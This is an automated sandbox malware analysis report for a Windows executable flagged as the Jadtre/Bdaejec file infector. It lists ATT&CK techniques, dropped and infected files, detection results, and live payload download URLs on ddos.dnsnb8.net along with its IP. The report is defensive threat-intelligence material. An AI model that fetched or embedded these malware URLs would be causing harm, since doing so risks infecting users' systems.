Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	2 Process Injection	1 Access Token Manipulation	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	2 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	3 System Information Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8VB4lVuZk3.exe	100%	Avira	W32/Jadtre.B
8VB4lVuZk3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	100%	Avira	TR/Dldr.Small.Z.haljq
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.scintilla.org/scite.rng	0%	URL Reputation	safe
http://www.activestate.comHolger	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k2.rar	100%	URL Reputation	malware
http://www.baanboard.comBrendon	0%	URL Reputation	safe
https://curl.haxx.se/docs/http-cookies.html	0%	URL Reputation	safe
https://www.smartsharesystems.com/	0%	URL Reputation	safe
http://www.scintilla.org	0%	URL Reputation	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://www.develop.com	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://www.spaceblue.com	0%	URL Reputation	safe
http://www.baanboard.com	0%	URL Reputation	safe
http://www.develop.comDeepak	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.rftp.comJosiah	0%	URL Reputation	safe
http://www.activestate.com	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://count.jimstone.com.cn/api/v1/countSite?api_version=1.0SELECT	0%	Avira URL Cloud	safe
http://www.rftp.com	0%	URL Reputation	safe
http://www.jimstone.com.cn/refresh	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/scalperEquityOrder/queryPool	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/user/getPublicKeyuserNo=data	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarX(3	100%	Avira URL Cloud	phishing
http://vipapi.chadanwang.com/scalperEquityOrder/fetchOrder	0%	Avira URL Cloud	safe
http://www.spaceblue.comMathias	0%	URL Reputation	safe
https://www.smartsharesystems.com/Morten	0%	URL Reputation	safe
http://ddos.dnsnb8.net/;	100%	Avira URL Cloud	phishing
http://www.jimstone.com.cn/english/	0%	Avira URL Cloud	safe
http://www.lua.org	0%	URL Reputation	safe
http://www.jimstone.com.cn/Location	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net/	100%	URL Reputation	malware
http://eb.jimstone.com.cn	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://www.jimstone.com.cn/english/Referer	0%	Avira URL Cloud	safe
http://count.jimstone.com.cn/api/v1/countSite?api_version=1.0	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/http	0%	Avira URL Cloud	safe
http://e2ee.jimstone.com.cn;http://e2ee.jimstone.com.cn:8000;http://e2ee2.jimstone.com.cn:8000;http:	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/soap/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/rpc/	0%	Avira URL Cloud	safe
http://127.0.0.1:8984/solr/e2ee	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarJ	100%	Avira URL Cloud	malware
http://e2eeE.com:8443	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/disco/scl/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarX	100%	Avira URL Cloud	malware
http://www.baidu.com	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/user/login&shareCode=&loginPwd=data.remarkerrorMsg5	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/scalperEquityOrder/fetchOrder&JSESSIONID=orderId=errorCode200	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/user/getPublicKey	0%	Avira URL Cloud	safe
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net/XK	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar=zP	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k2.rarp	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k2.rard	100%	Avira URL Cloud	malware
http://vipapi.chadanwang.com/scalperEquityOrder/queryPoolpageNum=1&pageSize=10&brand=4&JSESSIONID=da	0%	Avira URL Cloud	safe
http://e2ee.jimstone.com.cn	0%	Avira URL Cloud	safe
http://www.w3school.com.cn/cssref/css_selectors.asp	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/user/userInfo	0%	Avira URL Cloud	safe
http://e2ee.jimstone.com.cn/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/soap12/	0%	Avira URL Cloud	safe
http://127.0.0.1/list	0%	Avira URL Cloud	safe
http://e2ee.jimstone.com.cninformationen_US	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/user/login	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/http/	0%	Avira URL Cloud	safe
http://www.jimstone.com.cn/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl-instance/	0%	Avira URL Cloud	safe
http://vipapi.chadanwang.com/scalperEquityOrder/checkNewOrder	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/disco/soap/	0%	Avira URL Cloud	safe
http://www.w3school.com.cn/json/json_syntax.asp	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl-extensions/wrpchttp://schemas.xmlsoap.org/wsdl/rpc/soaphttp://schema	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl-extensions/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/envelope/xmlns:soapsoap:Bodyxmlns%Y-%m-%dT%H:%M:%S%02d:00	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/mime/	0%	Avira URL Cloud	safe
http://www.jimstone.com.cn/e2ee/docs/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ddos.dnsnb8.net	44.221.84.105	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k2.rar	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://count.jimstone.com.cn/api/v1/countSite?api_version=1.0SELECT	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarX(3	XFAGWZ.exe, 00000001.00000002.1892621904.0000000001209000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.scintilla.org/scite.rng	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://vipapi.chadanwang.com/scalperEquityOrder/queryPool	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://www.activestate.comHolger	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://eb.jimstone.com.cn	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	E2EECore.2.7.2.dll.0.dr	false	URL Reputation: safe	unknown
http://vipapi.chadanwang.com/scalperEquityOrder/fetchOrder	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://www.jimstone.com.cn/Location	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.jimstone.com.cn/refresh	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://vipapi.chadanwang.com/user/getPublicKeyuserNo=data	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net/;	XFAGWZ.exe, 00000001.00000003.1696071280.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.jimstone.com.cn/english/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.baanboard.comBrendon	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
https://curl.haxx.se/docs/http-cookies.html	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	URL Reputation: safe	unknown
https://www.smartsharesystems.com/	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.scintilla.org	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.openssl.org/support/faq.html	E2EECore.2.7.2.dll.0.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/http	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.jimstone.com.cn/english/Referer	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://count.jimstone.com.cn/api/v1/countSite?api_version=1.0	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.develop.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/rpc/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.spaceblue.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://e2ee.jimstone.com.cn;http://e2ee.jimstone.com.cn:8000;http://e2ee2.jimstone.com.cn:8000;http:	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarJ	XFAGWZ.exe, 00000001.00000002.1892621904.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.baanboard.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.develop.comDeepak	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://127.0.0.1:8984/solr/e2ee	8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/disco/scl/	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://e2eeE.com:8443	8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarX	XFAGWZ.exe, 00000001.00000002.1892621904.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.baidu.com	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://vipapi.chadanwang.com/user/login&shareCode=&loginPwd=data.remarkerrorMsg5	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	URL Reputation: safe	unknown
http://www.rftp.comJosiah	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://www.activestate.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://vipapi.chadanwang.com/user/getPublicKey	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://vipapi.chadanwang.com/scalperEquityOrder/fetchOrder&JSESSIONID=orderId=errorCode200	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	XFAGWZ.exe, 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmp, XFAGWZ.exe, 00000001.00000003.1685039072.0000000000F90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net/XK	XFAGWZ.exe, 00000001.00000003.1696071280.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar=zP	XFAGWZ.exe, 00000001.00000002.1892621904.000000000116E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.1.dr	false	URL Reputation: safe	unknown
http://www.rftp.com	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rard	XFAGWZ.exe, 00000001.00000002.1892621904.0000000001209000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarp	XFAGWZ.exe, 00000001.00000002.1893600310.0000000002BFA000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://vipapi.chadanwang.com/scalperEquityOrder/queryPoolpageNum=1&pageSize=10&brand=4&JSESSIONID=da	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://www.spaceblue.comMathias	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://e2ee.jimstone.com.cn	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.w3school.com.cn/cssref/css_selectors.asp	8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.smartsharesystems.com/Morten	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://vipapi.chadanwang.com/user/userInfo	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://e2ee.jimstone.com.cn/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap12/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://e2ee.jimstone.com.cninformationen_US	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://vipapi.chadanwang.com/user/login	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://www.lua.org	SciTE.exe.1.dr	false	URL Reputation: safe	unknown
http://127.0.0.1/list	8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl-instance/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/http/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.jimstone.com.cn/	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net/	XFAGWZ.exe, 00000001.00000003.1696071280.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/disco/soap/	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	E2EECore.2.7.2.dll.0.dr	false	URL Reputation: safe	unknown
http://vipapi.chadanwang.com/scalperEquityOrder/checkNewOrder	8VB4lVuZk3.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl-extensions/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl-extensions/wrpchttp://schemas.xmlsoap.org/wsdl/rpc/soaphttp://schema	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.w3school.com.cn/json/json_syntax.asp	8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/xmlns:soapsoap:Bodyxmlns%Y-%m-%dT%H:%M:%S%02d:00	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.jimstone.com.cn/e2ee/docs/	E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/mime/	8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarcC:	XFAGWZ.exe, 00000001.00000003.1696181458.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States		14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1480762
Start date and time:	2024-07-24 23:48:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8VB4lVuZk3.exe renamed because original name is a hash value
Original Sample Name:	BF6EE92CF97D4193943CD99DE27B17C4DBD27885CC0A3152B32D2CD97CFFB873.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@5/12@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 8VB4lVuZk3.exe

Simulations

Behavior and APIs

Time	Type	Description
17:49:22	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	BA5D78636F5079947FFFE161153EBFC9DC2D3241351A788216E59A18C51A8674.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	BC508271FF66CEC5515C8527BF4766AAC1A0135F093E3F1462074D98AE8FC41F.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	B94111B51BBEE14A1C2612F7DCCD1F4EC112656645B77E65DE613421FA0E457D.exe	Get hash	malicious	Bdaejec, Raccoon	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	Among Us.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	B7A8BE8DE5848A8212159E2D4E79C0D97BED04272AEA99ABC19C39281F49C835.exe	Get hash	malicious	Bdaejec, Sage	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	Andromeda Builder.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	b6f90f3c2a3ee2ba6791c9c15670964e370639b531481a294e7b89d800e1ca40.exe	Get hash	malicious	Bdaejec, BlackMoon	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	B7529C27C65C9F3CD9DDCE5C6C8C193D258E8F54D8C11E9DB618FEEC3CB9258B.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k5.rar

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ddos.dnsnb8.net	BA5D78636F5079947FFFE161153EBFC9DC2D3241351A788216E59A18C51A8674.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BC508271FF66CEC5515C8527BF4766AAC1A0135F093E3F1462074D98AE8FC41F.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	B94111B51BBEE14A1C2612F7DCCD1F4EC112656645B77E65DE613421FA0E457D.exe	Get hash	malicious	Bdaejec, Raccoon	Browse	44.221.84.105
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	Among Us.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	B7A8BE8DE5848A8212159E2D4E79C0D97BED04272AEA99ABC19C39281F49C835.exe	Get hash	malicious	Bdaejec, Sage	Browse	44.221.84.105
	Andromeda Builder.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	b6f90f3c2a3ee2ba6791c9c15670964e370639b531481a294e7b89d800e1ca40.exe	Get hash	malicious	Bdaejec, BlackMoon	Browse	44.221.84.105
	B7529C27C65C9F3CD9DDCE5C6C8C193D258E8F54D8C11E9DB618FEEC3CB9258B.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	BA5D78636F5079947FFFE161153EBFC9DC2D3241351A788216E59A18C51A8674.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BC508271FF66CEC5515C8527BF4766AAC1A0135F093E3F1462074D98AE8FC41F.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	B94111B51BBEE14A1C2612F7DCCD1F4EC112656645B77E65DE613421FA0E457D.exe	Get hash	malicious	Bdaejec, Raccoon	Browse	44.221.84.105
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	Among Us.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Andromeda Builder.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
